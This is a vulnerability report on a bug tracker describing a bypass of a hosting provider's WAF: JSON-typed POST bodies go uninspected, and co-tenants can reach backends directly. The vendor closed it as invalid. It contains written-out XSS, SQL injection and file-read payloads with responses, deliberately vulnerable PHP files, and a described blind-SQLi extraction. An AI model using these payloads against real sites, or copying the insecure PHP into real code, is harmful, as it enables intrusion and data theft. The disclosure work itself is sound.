Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by web_researcher - 18.08.2026
Last edited by cbay - 19.08.2026

FS#453 - Per-Site WAF Bypass: application/json POST Bodies Are Never Inspected

Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)

Severity: High

Class: CWE-693 Protection Mechanism Failure / CWE-1069 Empty Exception / incomplete WAF coverage

Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

The alwaysdata per-site WAF decides whether to inspect an HTTP request body based solely on the `Content-Type` header. Any POST body sent with `Content-Type: application/json` (case-insensitive; `;charset=` suffix tolerated) is never inspected. Attack payloads — reflected/stored XSS, SQL injection, path traversal, and command injection — carried in a JSON POST body pass through to the application untouched, while the identical payload in `application/x-www-form-urlencoded` or any other content type is blocked with HTTP 403.

This gives the WAF false assurance: any customer site that relies on it and parses JSON POST bodies (most modern frameworks and APIs) is completely unprotected for JSON-bodied attacks.

## Affected Surface:

- The per-site WAF feature (`waf_profile` in the site object, values `basic` / `full` / `null`).
- Tested at `waf_profile = full` (strictest level) — bypass holds there.
- Confirmed at both HTTP/1.1 and HTTP/2.
- Attack classes confirmed to pass as JSON: XSS, SQLi (including literal + UNION), path traversal / arbitrary file read (LFI), OS command injection.
- Only the exact `application/json` string is skipped (case-insensitive, `;charset=` ok). All other content types are inspected and blocked: `urlencoded`, `multipart`, `text/plain`, `text/xml`, `application/xml`, `application/graphql`, `application/vnd.api+json`, `application/octet-stream`, `application/json-patch+json`, `application/merge-patch+json`, `application/x-yaml`, `application/x-protobuf`, `application/grpc`, `application/grpc-web`, `application/javascript`, `application/xhtml+xml`, `application/csp-report`, `application/activity+json`, `application/ld+json`, `application/hal+json`, `application/manifest+json`, `application/geo+json` → all 403.

## Reproduction Steps:

1. Create any alwaysdata hosting account with a PHP site.
2. Enable the WAF: `PATCH https://api.alwaysdata.com/v1/site/<id>/` with body `{"waf_profile": "full"}` (Basic auth with account API token).
3. Upload `vuln.php` and `read.php` (below) to the site webroot via WebDAV.
4. Send the requests shown in the PoC section.

### Victim App — `vuln.php` (reflects parameter into HTML):
```php
<?php
$q = $_REQUEST['q'];
header("Content-Type: text/html");
echo "

<body><h1>Search results for: $q</h1></body>

";
?>
```

### Victim App — `read.php` (reads arbitrary file):

```php
<?php
$f = $_REQUEST['file'];
header("Content-Type: text/plain");
echo @file_get_contents($f);
?>
```

## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):

### 1) Reflected XSS — passes as `application/json` (HTTP 200, script reflected unencoded)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"q":"<script>alert(1)</script>"}
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: <script>alert(1)</script></h1></body>

```

### 1b) Same payload — blocked as urlencoded (control, HTTP 403)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/x-www-form-urlencoded

q=%3Cscript%3Ealert(1)%3C%2Fscript%3E
```
```
HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: b699a16…)
```

### 2) SQL Injection — passes as `application/json` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"q":"x' OR 1=1– -"}
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: x' OR 1=1-- -</h1></body>

```

Control urlencoded: HTTP 403.

### 3) Arbitrary File Read / Path Traversal — passes as `application/json` (HTTP 200, full `/etc/passwd` returned)

```
POST /read.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"file":"/etc/passwd"}
```
```
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
… ```

1764 bytes returned. Control urlencoded: HTTP 403.

### 4) Mechanism Proof — decision is header-only, not body content

Same JSON body with `Content-Type: application/x-www-form-urlencoded` → 403. Same urlencoded body with `Content-Type: application/json` → 200. The bypass is purely the header value, not the actual content.

### 5) HTTP/2

Same JSON-body requests over HTTP/2 (`httpx –http2`) → 200 app response. GET query-parameter attacks remain blocked over h2 — only the body skip exists.

### 6) Automation-Scale Proof (Blind SQLi End-to-End Through the WAF)

- Created a test MariaDB (`regtest846_wafpoc`, MariaDB 11.4.12) and DB user via the public API.
- `sqli.php` implements an unsafe `WHERE username='$q'` blind boolean oracle.
- A Python binary-search extractor (~7 requests/char) recovered the seeded secret `wafpoc_secret_hash_8f3a1d9c2e7b4a60` byte-identical (~245 blind requests total), plus `VERSION()` and DB list — every request rode the `application/json` bypass.
- This confirms the gap is exploitable at automated scale, not just manually; the WAF is the only layer that would stop a scanner.

## Impact:

Any customer site behind the per-site WAF that parses JSON POST bodies is effectively unprotected for XSS, SQLi, LFI, and command injection. The WAF provides a false sense of security and a security-control regression relative to the "full" protection promise. Severity is High as a platform security-control flaw; per-tenant impact depends on the target application's own defenses, but the WAF no longer adds any protection for JSON-bodied requests.

## Re-Test Matrix (Already Verified)

Content-Type XSS SQLi LFI Result
`application/json` 200 pass 200 pass 200 pass BYPASS
`application/x-www-form-urlencoded` 403 403 403 Blocked
`application/xml` 200 pass 403 n/a Partial (see FINDING-2)
`text/xml` 200 pass Partial
`application/graphql` 403 Blocked (relabel to json = bypass)
All other CTs tested 403 403 403 Blocked

## Recommendations:

- Inspect POST bodies regardless of `Content-Type`, or normalize the inspection decision on actual body content rather than the header.
- Treat `application/json` and XML variants (see FINDING-2) the same as any other content type — do not pass them through uninspected.
- If JSON must be special-cased for performance, at minimum apply the same inspection rules to decoded JSON string values recursively, and add content-sniffing so relabeled payloads cannot bypass.
- Apply the fix at the alproxy/nginx layer used by `waf_profile` and re-test the full matrix in this report across all content types and both HTTP versions.

## Evidence Files:

File Contents
`verify_f1_f2.py` Re-verification script; live output shown in PoC blocks above
`rce_src_dump.txt` LFI source disclosure of all webroot files (chains with this finding)
`blind_sqli_extract.py` Automation-scale blind SQLi extractor
`waf_protocol_sweep.py` HTTP/2 + GraphQL + smuggling protocol matrix
`waf_http2_smuggle.py` HTTP/2 smuggling tests
`waf_h2json_gql.py` GraphQL relabeling tests

## Chain B — WAF Also Bypassable at the Network Layer by Co-Tenants (2026-08-18, Verified):
The per-site WAF exists only at the alproxy front. The origin backend Apache has no WAF at all, and per FINDING-6, any same-node co-tenant can connect to the origin directly via its per-tenant ULA address.

Backend listener mapped via LFI (`/home/<acct>/admin/config/apache/{apache.conf,sites.conf}`): real backend is `[fd00::7:<addr>]:8080` with the site vhost (`DocumentRoot /home/<acct>/www/`, FcgidWrapper PHP). Neither config file contains any mod_security or WAF directive.

### A/B Proof (WAF=full active, same requests, identical payloads):

Request Backend via ULA `fd00::7:<addr>:8080` Public front (WAF=full)
`GET /index.html?q=<script>alert(1)</script>` 200 OK (2419 B) 403 Forbidden
`GET /index.html?q=x' OR 1=1–` 200 OK (2419 B) 403 Forbidden
`GET /.git/config` 404 Not Found (normal handling) 403 Forbidden

### Impact Escalation:

FINDING-1's JSON content-type trick is only one way past the WAF. Since FINDING-6 lets any tenant on the same node connect directly to any co-tenant's ULA backend, a co-tenant can send XSS/SQLi/LFI payloads straight to the origin with no WAF enforcement at all. A customer who enables the per-site WAF remains fully unprotected against same-node tenants — the WAF is a front-only filter with a completely open back door on the shared node.

Reachability is node-local: other-node ULA addresses and global-range addresses time out from tenant PHP. The back door exists only for co-tenants sharing the same web node, though many tenants share each node.

The full standalone Chain B report has been submitted as a separate upload: `CHAIN-B_WAF-bypass-via-cotenant-ULA.md` (CVSS 8.1, one-file PHP PoC, vendor detection checklist, bundled evidence in `evidence/`).

Closed by  cbay
19.08.2026 09:52
Reason for closing:  Invalid
Admin
cbay commented on 19.08.2026 09:52

Hello,

The WAF is not a perfect solution that would magically block all attacks. There are many ways to escape it. That's not a vulnerability.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing